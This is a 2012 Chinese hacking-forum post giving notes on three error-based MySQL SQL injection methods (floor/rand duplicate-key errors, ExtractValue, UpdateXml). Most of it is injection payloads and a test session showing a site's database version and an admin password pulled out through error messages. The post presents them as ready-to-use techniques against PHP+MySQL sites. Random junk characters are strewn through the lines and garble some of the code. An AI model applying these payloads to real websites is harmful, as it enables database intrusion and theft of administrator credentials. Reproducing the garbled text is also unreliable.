找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2178|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。0 Q( q/ Y! @7 @) C8 y6 c7 s& c7 |& `
实际测试环境:  U3 m- R: i; z( g

) \1 r6 h5 q0 w% r 4 E7 J, Q8 w3 d8 ]7 G( h5 o& c
mysql> show tables;
0 b. G6 \5 w+ {* s  K& v- {0 P+----------------+# C( B/ A' g2 p; _
| Tables_in_test |% ^2 O9 g+ p0 P# m
+----------------+
( Y: G. r3 D( p8 @6 g$ T5 A" P2 O| admin          |
2 O: D$ c3 [5 G9 u  Z! A| article        |% k9 _0 D9 Y; I$ T* w* h5 k
+----------------+
8 a! L- e8 o7 [, E
7 M9 y9 \3 O0 I4 ?( @
" e7 {, {% q3 M+ E$ n2 B) K" { 9 q7 T) h1 A6 W- s+ M3 v
mysql> describe admin;
6 N# i9 R. K# \& V% `+-------+------------------+------+-----+---------+----------------+
4 K* a8 u) j" n  E| Field | Type             | Null | Key | Default | Extra          |0 C: }0 K! R/ p# O1 i' s# {
+-------+------------------+------+-----+---------+----------------+
$ w1 `4 y9 V  ~| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |: v: e9 _; H& |4 a
| user  | varchar(50)      | NO   |     | NULL    |                |
  Y% }/ _* Q  y# P/ O% u! L| pass  | varchar(50)      | NO   |     | NULL    |                |7 [, y4 i+ ~1 m& N$ M) i
+-------+------------------+------+-----+---------+----------------+
% d* A( Q3 X& k2 H8 {' e3 o  ]# a * k- o" J8 N  n, Q8 E# c9 ~

4 {  y7 U! I! r2 z) U / u2 f! H9 R/ F. F! i
mysql> describe article;
7 M& O9 u2 X+ E' s1 _- g+---------+------------------+------+-----+---------+----------------+# p' B9 n% v5 K& J5 O
| Field   | Type             | Null | Key | Default | Extra          |/ ?* u: O3 X! l7 ?
+---------+------------------+------+-----+---------+----------------+8 Z# e! [& F! U: {  [7 y. w
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |5 ?7 C, ~( o6 Y; Z8 ^6 j$ R! z
| title   | varchar(50)      | NO   |     | NULL    |                |
# ?7 ~1 w! W9 P  H. r1 j| content | varchar(50)      | NO   |     | NULL    |                |
: n0 p8 T7 f; X  f+---------+------------------+------+-----+---------+----------------+* P6 ]9 `8 H8 M! V
1、通过floor报错# _. \0 m* Z4 `/ d# n- A
可以通过如下一些利用代码& z3 [5 T" }+ ?* D

; ?# @& F7 v. L" k
" Z* g& g1 F  }: T' Sand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
1 b* j' g' D5 ]7 l! @from information_schema.tables group by x)a);/ S3 p# ~- Y7 _( D
8 @$ ?. `6 r% ^% C

, g6 Q" f7 _% D( y0 H! oand (select count(*) from (select 1 union select null union select !1)x
* [; G: b+ s. W3 Pgroup by concat((select table_name from information_schema.tables limit 1),2 n# o7 V0 ~  A" [3 D/ e/ i4 _
floor(rand(0)*2)));, |2 q: C; B2 f: u5 e1 y5 z/ B
举例如下:; t" k: Q! f4 b( G9 P1 ?8 h" G& G
首先进行正常查询:" W# [6 J1 b& K1 P$ I- d& {; X, \
7 ~7 }. D/ x( i' l" M3 O
mysql> select * from article where id = 1;
# Y: ]1 L! k- T" @% E5 M: J+----+-------+---------+% t/ q  \* I$ B: L* C) I; F
| id | title | content |5 n2 E7 P* ?, V! P: s# b3 |2 m
+----+-------+---------+
: Q& a# Z' S5 d3 I|  1 | test  | do it   |4 j/ X7 O( Z( h4 i: a9 a0 r
+----+-------+---------+
- ~# ^& D$ J. Q$ T" k- C9 _假如id输入存在注入的话,可以通过如下语句进行报错。0 Q0 O7 Z: y! M) k$ s8 b2 P8 q% {
7 ?! `% t1 J$ s* X' X' y1 L
; ]4 m* E: t+ N1 r7 {( x8 U1 ~' e
mysql> select * from article where id = 1 and (select 1 from+ T4 D# Q' e) A, f
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
* w* h- K: V% q$ t; iERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'5 [! y: g( T: M
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
$ F& H, m) F$ |0 k& s例如我们需要查询管理员用户名和密码:  M" Z# e1 N9 p" W& N0 a
Method1:9 {# T" Q9 p# [- ]! H: Q

  [6 e$ g+ j8 I! _' ^ # M. B8 P8 I* j0 _
mysql> select * from article where id = 1 and (select 1 from
( |$ r' {0 p0 E6 p) j(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x( t/ i6 _+ @( w# B; r
from information_schema.tables group by x)a);
# u$ D/ @3 u, {: ZERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
$ m5 }  d, o3 Q( _$ O4 [1 WMethod2:
: v2 T6 \1 F* V# J1 g
, a2 G" O+ n. s  l; z7 w 2 S2 Z- K$ Q. Y4 R0 i3 m& R! G( ^
mysql> select * from article where id = 1 and (select count(*)' N& y. {. j+ h: _, |
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),8 H) I  l# a# w; T% I0 ]
floor(rand(0)*2)));
. L6 @2 K5 V5 P1 ]4 B& aERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
; `) i# k& j2 ?4 B2 e+ z4 B6 G2、ExtractValue
  o. L, f' B/ o# G6 ]测试语句如下
9 e: |  m3 ]$ f# K: y 1 U, N" w0 e* n% a4 [
' g0 G8 D: C0 k
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));; D- v- |1 [, F5 p( G8 ^+ e1 F
实际测试过程
, {. {) q" W0 r' a" N( r 0 s4 {2 j* P1 a& j
, ]5 w0 o, t: \3 T& B% x6 P3 U( y
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
: P! h2 Q/ |  j+ Q8 Z) H(select pass from admin limit 1)));--
6 f1 K' ?- f3 R0 V0 t8 m3 q" X. }ERROR 1105 (HY000): XPATH syntax error: '\admin888'5 ]* b- ~9 ^) |' Y4 K) ^
3、UpdateXml
0 @' {4 |0 X  a  M测试语句
  Q8 `3 r* g! a# ]
: b: B" ]9 C; h# X2 T 3 t- z' G2 W! H
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))3 T% F: w4 S/ ^# j
实际测试过程
: P5 _) L! M! @  d' w# h* z 7 h- t5 B' ^1 o; A+ P6 G

9 D1 P, y0 y' Bmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,2 y8 X" X6 s6 N9 E1 \8 r
(select pass from admin limit 1),0x5e24),1));
- w: T* m9 Q/ n6 n! [; z7 b; a* BERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'# k+ E1 e$ X$ I; c+ g
All, thanks foreign guys.8 R( ]3 J$ a" r" @
7 u5 g( }, `+ b' ^: O
+ I% Y& u9 [5 P. o0 c/ e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表